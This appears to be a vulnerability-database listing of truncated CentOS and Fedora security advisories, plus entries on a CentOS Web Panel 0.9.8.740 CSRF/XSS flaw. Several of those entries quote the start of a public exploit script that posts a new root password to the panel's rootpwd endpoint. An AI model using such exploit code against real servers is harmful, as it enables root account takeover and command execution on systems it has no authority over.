krb5, libkadm5 security update

CentOS Errata and Security Advisory CESA-2018:3071 An update for krb5 is now available for Red Hat Enterprise Linux 7. Red Hat Product Security has rated this update as having a security impact of Low. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, ...

jasper security update

CentOS Errata and Security Advisory CESA-2018:3253 An update for jasper is now available for Red Hat Enterprise Linux 7. Red Hat Product Security has rated this update as having a security impact of Low. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating...

glibc, nscd security update

CentOS Errata and Security Advisory CESA-2018:3092 An update for glibc is now available for Red Hat Enterprise Linux 7. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity...

fuse security update

CentOS Errata and Security Advisory CESA-2018:3324 An update for fuse is now available for Red Hat Enterprise Linux 7. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity...

drm, egl, freeglut, glx, intel, libX11, libXcursor, libXfont, libXfont2, libXres, libdrm, libepoxy, libglvnd, libinput, libwacom, libxcb, mesa, tigervnc, vulkan, xcb, xkeyboard, xorg security update

CentOS Errata and Security Advisory CESA-2018:3059 Updated X.org server and driver packages are now available for Red Hat Enterprise Linux 7. Red Hat Product Security has rated this update as having a security impact of Low. A Common Vulnerability Scoring System CVSS base score, which gives a...

CentOS Web Panel 0.9.8.740 - Cross-Site Request Forgery / Cross-Site Scripting Vulnerabilities

Exploit for php platform in category web applications Title: CentOS Web Panel Root Account Takeover + Remote Command Execution var url = "http://targetserver:2030/admin/index.php?module=rootpwd"; var params = "ifpost=yes&password1=newpassword&password2=newpassword"; var vuln = new XMLHttpRequest;...

[SECURITY] Fedora 28 Update: python33-3.3.7-6.fc28

Python 3.3 package for developers. This package exists to allow developers to test their code against an older version of Python. This is not a full Python stack and if you wish to run your applications with Python 3.3, see other distributions that support it, such as CentOS or RHEL with Software...

[SECURITY] Fedora 27 Update: python33-3.3.7-3.fc27

Python 3.3 package for developers. This package exists to allow developers to test their code against an older version of Python. This is not a full Python stack and if you wish to run your applications with Python 3.3, see other distributions that support it, such as CentOS or RHEL with Software...

CentOS Web Panel 0.9.8.740 - Cross-Site Request Forgery Cross-Site Scripting

CentOS Web Panel 0.9.8.740 - Cross-Site Request Forgery Cross-Site Scripting Title: CentOS Web Panel Root Account Takeover + Remote Command Execution var url = "http://targetserver:2030/admin/index.php?module=rootpwd"; var params = "ifpost=yes&password1=newpassword&password2=newpassword"; var vul...

CentOS Web Panel 0.9.8.740 - Cross-Site Request Forgery / Cross-Site Scripting

Title: CentOS Web Panel Root Account Takeover + Remote Command Execution var url = "http://targetserver:2030/admin/index.php?module=rootpwd"; var params = "ifpost=yes&password1=newpassword&password2=newpassword"; var vuln = new XMLHttpRequest; vuln.open"POST", url, true; vuln.withCredentials =...

CentOS Update for thunderbird CESA-2018:3403 centos6

The remote host is missing an update for the SPDX-FileCopyrightText: 2018 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

CentOS Web Panel Cross-Site Request Forgery Vulnerability (CNVD-2019-18498)

CentOS Web Panel is a CentOS Lnuix system administration panel. A cross-site request forgery vulnerability exists in CentOS Web Panel 0.9.8.740 and earlier versions, which can be exploited by a remote attacker to modify the server's root password and execute commands with the help of...

CentOS Web Panel Cross-Site Request Forgery Vulnerability

CentOS Web Panel is a CentOS Lnuix system administration panel. A cross-site request forgery vulnerability exists in CentOS Web Panel 0.9.8.740 and earlier versions, which can be exploited by remote attackers to perform unauthorized operations with the help of the admin/index.php?module=rootpwd U...

CentOS Web Panel Cross-Site Scripting and Cross-Site Request Forgery Vulnerabilities

CentOS Web Panel is a CentOS Lnuix system administration panel. Cross-site scripting and cross-site request forgery vulnerabilities exist in CentOS Web Panel 0.9.8.740 and earlier. A remote attacker can exploit these vulnerabilities to execute code...

PT-2018-2678 · Centos · Centos Web Panel

Name of the Vulnerable Software and Affected Versions: CentOS Web Panel versions through 0.9.8.740 Description: The issue is related to insufficient authentication of executed requests in the CentOS Web Panel application, specifically affecting the "admin/index.php?module=rootpwd" endpoint. This...

PT-2018-2679 · Centos · Centos Web Panel

Name of the Vulnerable Software and Affected Versions: CentOS Web Panel versions through 0.9.8.740 Description: The issue is related to insufficient authentication of requests, allowing for the execution of arbitrary OS commands. This can be exploited by a remote attacker to execute commands. The...

CentOS Web Panel Root Account Takeover <= v0.9.8.740 Remote Command Execution Exploit

CentOS Web Panel versions 0.9.8.740 and below suffer from cross site request forgery and cross site scripting vulnerabilities that can be leveraged to achieve remote code execution. + Title: CentOS Web Panel Root Account Takeover + Remote Command Execution var url =...

CentOS Web Panel 0.9.8.740 Root Account Takeover / Command Execution

Title: CentOS Web Panel Root Account Takeover + Remote Command Execution var url = "http://targetserver:2030/admin/index.php?module=rootpwd"; var params = "ifpost=yes&password1=newpassword&password2=newpassword"; var vuln = new XMLHttpRequest; vuln.open"POST", url, true; vuln.withCredentials =...

[SECURITY] Fedora 29 Update: python26-2.6.9-17.fc29

Python 2.6 package for developers. This package exists to allow developers to test their code against an older version of Python. This is not a full Python stack and if you wish to run your applications with Python 2.6, see other distributions that support it, such as CentOS or RHEL 6...

New Privilege Escalation Flaw Affects Most Linux Distributions

An Indian security researcher has discovered a highly critical flaw in X.Org Server package that impacts OpenBSD and most Linux distributions, including Debian, Ubuntu, CentOS, Red Hat, and Fedora. Xorg X server is a popular open-source implementation of the X11 system display server that offers ...